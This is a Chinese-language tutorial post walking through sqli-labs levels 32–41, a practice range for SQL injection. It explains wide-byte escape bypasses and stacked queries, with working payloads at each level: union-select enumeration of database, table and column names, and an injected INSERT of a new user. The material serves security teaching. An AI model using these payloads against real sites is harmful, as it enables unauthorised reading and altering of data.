以sqlilabs靶场为例,讲解SQL注入攻击原理【32-41关】

news/2024/7/5 1:42:25

【Less-32】

尝试使用各种注入发现无论是单引号还是双引号都被\转义成了字符串,导致SQL无法注入。

解决方案:宽字节注入。原理:利用数据库和页面编码不同的问题,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,数据库处理的时候是根据GBK去处理的,这样就能实现SQL注入。

第一步获取数据库名:

# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

第二步:获取数据表名

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa

第三步:获取数据表的字段

其中的数据表名因为用引号,所以直接用%df会报错,可以将数据表名转换为十六进制(0x)后使用

# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

结果为:

【Less-33】

源码分析:

故两题的解法是一模一样的,具体如下:

#判断字段数量
?id=1%df' order by 3-- aaa


# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-34】

尝试输入万能账户 : ' or 1=1 -- aaa

分析得知,和上一题类似,被反斜杠转义了,使用%df尝试逃逸出引号。

此时发现%df对于post方式无效,因为%df是url编码,在输入框中输入%df会被当作普通的字符,此时尝试用一些汉字代替,因为有些汉字的编码(比如 汉)为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和相编码为一个两字节绕过,从而单引号逃逸。

解决方案:

#判断字段数量
汉' order by 2 -- aaa


# 获取数据库名
汉' union select 1,database() -- aaa

# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-35】

Get方式,修改url尝试使用单引号、双引号、括号加单双引号SQL注入。

可以得出添加的单引号被反斜杠转义了,尝试用%df,依旧报错。

此时再来尝试去除引号,直接添加SQL语句,执行,发现是可行的。说明没有闭合,SQL语句在后面直接可以执行。

解决方案:

#判断字段数量
?id=1 order by 3


# 获取数据库名
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()


# 获取数据表字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 

【Less-36】

源码分析:

解题过程和Less-33一样,原理还是反斜杠转义了,只需要添加%df 即刻解决。

#判断字段数量
?id=1%df' order by 3-- aaa


# 获取数据库名
?id=-1%df' union select 1,2,database() -- aaa

# 获取数据表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-37】

通过测试,和Less-34的注入方法相同,使用汉字来实现SQL注入,解题步骤如下:

#判断字段数量
汉' order by 2 -- aaa


# 获取数据库名
汉' union select 1,database() -- aaa

# 获取数据表名
汉' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段,
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656d61696c73 -- aaa

【Less-38】

源码分析:

mysqli_multi_query()方法可以同时执行多个用分号隔开的SQL语句,容易导致堆叠注入。

可以在后面用分号隔开,实现往数据库中插入数据

?id=1';insert users(username,password)values('test','test') -- aa

数据插入:

解题步骤:

#判断字段数量
?id=1' order by 3 -- aaa


# 获取数据库名
?id=-1'union select 1,2,database() -- aaa

# 获取数据表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-39】

和上一题一样,只是没有引号闭合,直接注入。

可以在url中使用insert into 往数据库中添加数据。

解题步骤:

#判断字段数量
?id=1 order by 3 


# 获取数据库名,不再使用union
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 


# 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'

【Less-40】

与上面两题类似,只是闭合的形式变成了 ')。

 解题步骤:

#判断字段数量
?id=1') order by 3 -- aaa


# 获取数据库名,不再使用union
?id=-1') union select 1,2,database() -- aaa

# 获取数据表名
?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa


# 获取数据表字段
?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-41】

和Less-39一样,没有引号,直接注入。

解题步骤:

#判断字段数量
?id=1 order by 3 


# 获取数据库名,不再使用union
?id=-1 union select 1,2,database() 

# 获取数据表名
?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 


# 获取数据表字段
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'


http://lihuaxi.xjx100.cn/news/2195919.html

相关文章

搜索与图论:有向图的拓扑序列

搜索与图论&#xff1a;有向图的拓扑序列 题目描述参考代码 题目描述 输入样例 3 3 1 2 2 3 1 3输出样例 1 2 3 参考代码 #include <cstring> #include <iostream> #include <algorithm>using namespace std;const int N 100010;int n, m; int h[N], e…

Nvidia/算能 +FPGA+AI大算力边缘计算盒子:中国舰船研究院

中国舰船研究院又称中国船舶重工集团公司第七研究院&#xff0c;隶属于中国船舶重工集团公司&#xff0c;是专门从事舰船研究、设计、开发的科学技术研究机构&#xff0c;是中国船舶重工集团公司的军品技术研究中心、科技开发中心&#xff1b;主要从事舰船武器装备发展战略研究…

大模型常见工程化工具:微调、量化、部署、Agent、RAG等

包括微调&#xff08;Axolotl、Llama-Factory、Firefly、Swift、XTuner&#xff09;、量化&#xff08;AutoGPTQ、AutoAWQ、Neural Compressor&#xff09;、部署&#xff08;vLLM、SGL、SkyPilot、TensorRT-LLM、OpenVino、TGI&#xff09;、本地运行&#xff08;MLX、Llama.c…

使用NetAssist网络调试助手在单台计算机上配置TCP服务器和客户端

要使用NetAssist网络调试助手在同一台计算机上配置一个实例作为服务器&#xff08;server&#xff09;和另一个实例作为客户端&#xff08;client&#xff09;&#xff0c;可以按照以下步骤进行操作&#xff1a; 前提条件 确保已经安装NetAssist网络调试助手&#xff0c;并了…

使用opencv在图像上画带刻度线的十字线,以图像中心点为0点

使用OpenCV在图像上绘制带刻度线的十字线&#xff0c;可以通过以下步骤实现。我们将首先找到图像的中心点&#xff0c;然后绘制水平和垂直线&#xff0c;并在这些线的适当位置绘制刻度线。以下是详细的C代码示例&#xff1a; #include<opencv2\opencv.hpp> //画十字标注…

了解 ADC 的幅度量化误差

ADC 将输入值转换为一组离散级别中的一个值&#xff0c;并输出数字代码以指定量化级别。量化过程会给系统带来一些误差。 本文将通过将斜坡输入应用于量化器来研究量化误差。然后&#xff0c;我们将看一个示例&#xff0c;其中量化误差类似于噪声源。此外&#xff0c;我们将讨…

深度学习的模型剪枝

深度学习的模型剪枝 模型剪枝&#xff08;Model Pruning&#xff09;是深度学习中一种减少模型复杂度、提高计算效率的方法。通过删除冗余的神经元或连接&#xff0c;剪枝能够在不显著影响模型性能的前提下&#xff0c;减少模型参数数量、降低计算和存储需求。以下是对深度学习…

无限滚动分页加载与下拉刷新技术探析:原理深度解读与实战应用详述

滚动分页加载&#xff08;也称为无限滚动加载、滚动分页等&#xff09;是一种常见的Web和移动端应用界面设计模式&#xff0c;用于在用户滚动到底部时自动加载下一页内容&#xff0c;而无需点击传统的分页按钮。这种设计旨在提供更加流畅、连续的浏览体验&#xff0c;减少用户交…